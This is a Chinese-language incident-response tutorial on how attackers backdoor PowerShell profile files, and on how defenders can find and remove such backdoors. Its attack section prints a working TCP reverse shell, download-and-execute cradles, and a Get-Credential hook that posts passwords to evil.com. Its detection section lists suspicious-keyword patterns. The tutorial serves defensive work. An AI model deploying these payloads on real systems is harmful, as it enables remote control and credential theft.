PowerShell Profile后门排查
本篇详细讲解PowerShell Profile机制的滥用,攻击者通过修改Profile文件实现每次PowerShell启动时自动执行恶意代码
Profile后门隐蔽性强,因为用户启动PowerShell时不会显式提示Profile已加载
相关参考: 10-PowerShell日志与脚本分析, 18-Bashrc与Profile后门
一、PowerShell Profile机制详解
1.1 Profile概述
PowerShell Profile是一个在每次启动PowerShell时自动执行的脚本文件
类似Linux中的.bashrc和.bash_profile,参见 18-Bashrc与Profile后门
Profile用于自定义环境:设置别名(Alias)、加载模块(Module)、定义函数
攻击者利用这一机制,将恶意代码注入Profile文件,实现持久化
1.2 四种Profile路径
PowerShell定义了四个Profile作用域,按优先级从高到低:
CurrentUserCurrentHost - 当前用户 + 当前宿主程序
变量: $PROFILE 或 $PROFILE.CurrentUserCurrentHost
最常被攻击者利用,因为不需要管理员权限
CurrentUserAllHosts - 当前用户 + 所有宿主程序
变量: $PROFILE.CurrentUserAllHosts
对当前用户的所有PowerShell宿主(Console、ISE、VSCode等)生效
AllUsersCurrentHost - 所有用户 + 当前宿主程序
变量: $PROFILE.AllUsersCurrentHost
需要管理员权限修改
AllUsersAllHosts - 所有用户 + 所有宿主程序
变量: $PROFILE.AllUsersAllHosts
影响范围最大,需要管理员权限
1.3 实际磁盘路径 - PowerShell 5.1 (Windows PowerShell)
CurrentUserCurrentHost:
1
| C:\Users\<用户名>\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
|
CurrentUserAllHosts:
1
| C:\Users\<用户名>\Documents\WindowsPowerShell\profile.ps1
|
AllUsersCurrentHost:
1
| C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1
|
AllUsersAllHosts:
1
| C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1
|
ISE宿主的Profile路径(将Microsoft.PowerShell替换为Microsoft.PowerShellISE):
1
| C:\Users\<用户名>\Documents\WindowsPowerShell\Microsoft.PowerShellISE_profile.ps1
|
1.4 实际磁盘路径 - PowerShell 7+ (pwsh)
PowerShell 7使用不同的目录名PowerShell(而非WindowsPowerShell)
CurrentUserCurrentHost:
1
| C:\Users\<用户名>\Documents\PowerShell\Microsoft.PowerShell_profile.ps1
|
CurrentUserAllHosts:
1
| C:\Users\<用户名>\Documents\PowerShell\profile.ps1
|
AllUsersCurrentHost:
1
| C:\Program Files\PowerShell\7\Microsoft.PowerShell_profile.ps1
|
AllUsersAllHosts:
1
| C:\Program Files\PowerShell\7\profile.ps1
|
注意: PowerShell 5.1和7+的Profile是完全独立的,修改一个不影响另一个
1.5 查看所有Profile路径
列出当前环境的所有Profile路径:
1 2 3 4 5 6 7 8
| $PROFILE | Format-List -Force
Write-Host "CurrentUserCurrentHost: $($PROFILE.CurrentUserCurrentHost)" Write-Host "CurrentUserAllHosts: $($PROFILE.CurrentUserAllHosts)" Write-Host "AllUsersCurrentHost: $($PROFILE.AllUsersCurrentHost)" Write-Host "AllUsersAllHosts: $($PROFILE.AllUsersAllHosts)"
|
检查哪些Profile文件实际存在:
1 2 3 4 5 6 7 8 9
| $PROFILE.PSObject.Properties | ForEach-Object { $path = $_.Value $exists = Test-Path $path [PSCustomObject]@{ Scope = $_.Name Path = $path Exists = $exists } } | Format-Table -AutoSize
|
二、Profile后门攻击手法
2.1 基础后门 - 反向Shell
攻击者在Profile中添加反向Shell代码:
1 2 3 4 5 6 7 8 9 10 11 12
| $client = New-Object System.Net.Sockets.TCPClient("10.10.14.5", 4444) $stream = $client.GetStream() [byte[]]$bytes = 0..65535 | % {0} while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i) $sendback = (iex $data 2>&1 | Out-String) $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback) $stream.Write($sendbyte, 0, $sendbyte.Length) $stream.Flush() } $client.Close()
|
该后门在用户每次打开PowerShell时触发
2.2 Download Cradle (下载执行框架)
更隐蔽的方式:Profile仅包含一行下载执行代码
1 2
| IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')
|
变体 - 使用Invoke-WebRequest:
1
| IEX (iwr http://evil.com/stager.ps1 -UseBasicParsing).Content
|
变体 - Base64编码绕过:
1 2 3
| $encoded = "SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdA..." powershell -EncodedCommand $encoded
|
变体 - 利用DNS TXT记录:
1 2 3 4 5
| IEX ([System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String( (Resolve-DnsName -Name payload.evil.com -Type TXT).Strings ) ))
|
2.3 信息收集型后门
键盘记录器注入Profile:
1 2 3 4 5 6 7 8 9 10 11
| $logFile = "$env:TEMP\keylog.txt" $listener = { Add-Type -AssemblyName System.Windows.Forms $hookProc = [System.Windows.Forms.Keys] Register-EngineEvent -SourceIdentifier PowerShell.Exiting -Action { Get-Content $logFile | Out-File "\\attacker\share\keys.txt" } } Start-Job -ScriptBlock $listener | Out-Null
|
凭据窃取 - Hook Get-Credential:
1 2 3 4 5 6 7 8 9 10 11 12
| function Get-Credential { param([string]$UserName) $cred = Microsoft.PowerShell.Security\Get-Credential -UserName $UserName -Message "请输入凭据" $body = @{ user = $cred.UserName pass = $cred.GetNetworkCredential().Password } | ConvertTo-Json Invoke-RestMethod -Uri "http://evil.com/creds" -Method POST -Body $body -ErrorAction SilentlyContinue return $cred }
|
2.4 命令劫持型后门
通过在Profile中定义同名函数来劫持常用命令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| function whoami { $result = & "$env:SystemRoot\System32\whoami.exe" $args [System.Net.WebClient]::new().DownloadString( "http://evil.com/beacon?host=$env:COMPUTERNAME&user=$result" ) | Out-Null return $result }
function ssh { "$args" | Out-File "$env:TEMP\ssh_log.txt" -Append & "C:\Windows\System32\OpenSSH\ssh.exe" $args }
|
2.5 隐蔽注入技巧
攻击者通常不会直接写入明文恶意代码,常见隐蔽技巧:
在合法Profile内容中间插入空行后添加恶意代码
使用Unicode零宽字符混淆
将恶意代码追加到文件末尾,前面用大量空行隔开
使用变量拼接绕过关键词检测:
1 2 3 4
| $a = "Ne"; $b = "w-Ob"; $c = "ject" $d = "Net.We"; $e = "bCli"; $f = "ent" $obj = & (Get-Command "$a$b$c") "$d$e$f"
|
三、检测Profile后门
3.1 逐一检查所有Profile文件
综合检查脚本 - 检查PowerShell 5.1和7+的所有Profile:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| $profilePaths = @( "$env:USERPROFILE\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1", "$env:USERPROFILE\Documents\WindowsPowerShell\profile.ps1", "$env:SystemRoot\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1", "$env:SystemRoot\System32\WindowsPowerShell\v1.0\profile.ps1", "$env:USERPROFILE\Documents\WindowsPowerShell\Microsoft.PowerShellISE_profile.ps1", "$env:USERPROFILE\Documents\PowerShell\Microsoft.PowerShell_profile.ps1", "$env:USERPROFILE\Documents\PowerShell\profile.ps1", "$env:ProgramFiles\PowerShell\7\Microsoft.PowerShell_profile.ps1", "$env:ProgramFiles\PowerShell\7\profile.ps1" )
foreach ($path in $profilePaths) { if (Test-Path $path) { Write-Host "[!] Profile文件存在: $path" -ForegroundColor Yellow Write-Host " 大小: $((Get-Item $path).Length) bytes" Write-Host " 最后修改: $((Get-Item $path).LastWriteTime)" Write-Host " 内容预览:" Get-Content $path | Select-Object -First 20 Write-Host "---" } }
|
对所有用户进行批量检查:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| Get-ChildItem "C:\Users" -Directory | ForEach-Object { $userDir = $_.FullName $paths = @( "$userDir\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1", "$userDir\Documents\WindowsPowerShell\profile.ps1", "$userDir\Documents\PowerShell\Microsoft.PowerShell_profile.ps1", "$userDir\Documents\PowerShell\profile.ps1" ) foreach ($p in $paths) { if (Test-Path $p) { Write-Host "[FOUND] $p" -ForegroundColor Red Write-Host " Modified: $((Get-Item $p).LastWriteTime)" Write-Host " SHA256: $((Get-FileHash $p).Hash)" } } }
|
3.2 可疑关键词检测
在Profile文件内容中搜索恶意指标:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| $suspiciousPatterns = @( 'Net\.WebClient', 'DownloadString', 'DownloadFile', 'Invoke-WebRequest', 'Invoke-RestMethod', 'IEX\s', 'Invoke-Expression', 'TCPClient', 'System\.Net\.Sockets', 'Start-Process.*-WindowStyle\s+Hidden', 'EncodedCommand', 'FromBase64String', 'Reflection\.Assembly', 'Add-Type.*DllImport', 'VirtualAlloc', 'CreateThread', 'shellcode', '-enc\s', 'bypass', 'hidden' )
$profilePaths | Where-Object { Test-Path $_ } | ForEach-Object { $file = $_ $content = Get-Content $file -Raw foreach ($pattern in $suspiciousPatterns) { if ($content -match $pattern) { Write-Host "[ALERT] 可疑模式 '$pattern' 在: $file" -ForegroundColor Red } } }
|
3.3 Script Block Logging (Event 4104)分析
Profile执行会被Script Block Logging捕获,详见 10-PowerShell日志与脚本分析
1 2 3 4 5 6 7 8 9 10 11 12
| Get-WinEvent -FilterHashtable @{ LogName = 'Microsoft-Windows-PowerShell/Operational' Id = 4104 } -MaxEvents 1000 | Where-Object { $_.Message -match 'profile\.ps1|_profile\.ps1' } | ForEach-Object { [PSCustomObject]@{ Time = $_.TimeCreated Message = $_.Message.Substring(0, [Math]::Min(200, $_.Message.Length)) } } | Format-Table -Wrap
|
确认Script Block Logging已启用:
1 2 3 4 5 6 7
| $regPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" if (Test-Path $regPath) { Get-ItemProperty $regPath } else { Write-Host "[WARN] Script Block Logging未通过GPO配置" -ForegroundColor Yellow }
|
3.4 文件Hash对比
对Profile文件进行Hash记录和对比:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| $baseline = @{} $profilePaths | Where-Object { Test-Path $_ } | ForEach-Object { $baseline[$_] = (Get-FileHash $_ -Algorithm SHA256).Hash } $baseline | ConvertTo-Json | Out-File "C:\IR\profile_baseline.json"
$saved = Get-Content "C:\IR\profile_baseline.json" | ConvertFrom-Json $saved.PSObject.Properties | ForEach-Object { $path = $_.Name $oldHash = $_.Value if (Test-Path $path) { $newHash = (Get-FileHash $path -Algorithm SHA256).Hash if ($newHash -ne $oldHash) { Write-Host "[CHANGED] $path" -ForegroundColor Red Write-Host " 旧Hash: $oldHash" Write-Host " 新Hash: $newHash" } } }
|
3.5 Sysmon监控Profile修改
配置Sysmon规则监控Profile文件的创建和修改:
1 2 3 4 5 6 7
| <FileCreate onmatch="include"> <TargetFilename condition="contains">WindowsPowerShell\Microsoft.PowerShell_profile.ps1</TargetFilename> <TargetFilename condition="contains">WindowsPowerShell\profile.ps1</TargetFilename> <TargetFilename condition="contains">PowerShell\Microsoft.PowerShell_profile.ps1</TargetFilename> <TargetFilename condition="contains">PowerShell\profile.ps1</TargetFilename> </FileCreate>
|
四、应急响应处置
4.1 确认后门内容
完整读取可疑Profile文件内容:
1 2 3 4 5 6 7 8 9
| $backupDir = "C:\IR\Evidence\Profiles" New-Item -Path $backupDir -ItemType Directory -Force
$profilePaths | Where-Object { Test-Path $_ } | ForEach-Object { $dest = Join-Path $backupDir ($_ -replace '[:\\]', '_') Copy-Item $_ $dest Write-Host "已备份: $_ -> $dest" }
|
4.2 清除恶意内容
如果Profile中混合了合法和恶意内容,仅删除恶意部分
如果整个Profile是攻击者创建的,直接删除:
1 2 3 4 5
| Remove-Item "C:\Users\compromised_user\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1" -Force
Set-Content $PROFILE -Value "" -Force
|
4.3 预防措施
使用-NoProfile参数启动PowerShell以跳过Profile加载:
1
| powershell.exe -NoProfile -ExecutionPolicy Bypass
|
对Profile路径设置文件完整性监控(FIM)
通过GPO限制Profile文件的修改权限
启用Script Block Logging和Module Logging
4.4 关联排查
Profile后门通常是攻击链中的一环,需要关联排查:
检查Profile修改的时间线,与其他持久化机制交叉对比
查看同一时间段的登录事件(4624/4625)
分析C2通信记录(网络日志)
参考 10-PowerShell日志与脚本分析 进行深入的脚本日志分析
五、MITRE ATT&CK映射
| 技术ID |
名称 |
说明 |
| T1546.013 |
Event Triggered Execution: PowerShell Profile |
Profile自动执行机制滥用 |
| T1059.001 |
Command and Scripting Interpreter: PowerShell |
PowerShell脚本执行 |
| T1547.001 |
Boot or Logon Autostart: Registry Run Keys |
部分Profile机制依赖注册表 |
Profile后门是T1546.013的典型实现,在ATT&CK框架中属于Persistence和Privilege Escalation战术
六、总结
PowerShell Profile后门的关键排查要点:
检查范围: 必须覆盖PowerShell 5.1和7+的全部8+个Profile路径
检查所有用户: 不仅检查当前用户,还要遍历所有用户目录
内容分析: 搜索DownloadString、IEX、TCPClient等高危关键词
日志验证: 通过Event 4104 Script Block Log确认Profile执行内容
防御配置: 启用Script Block Logging + 文件完整性监控
与Linux环境中的bashrc/profile后门原理相同,排查思路一致: 18-Bashrc与Profile后门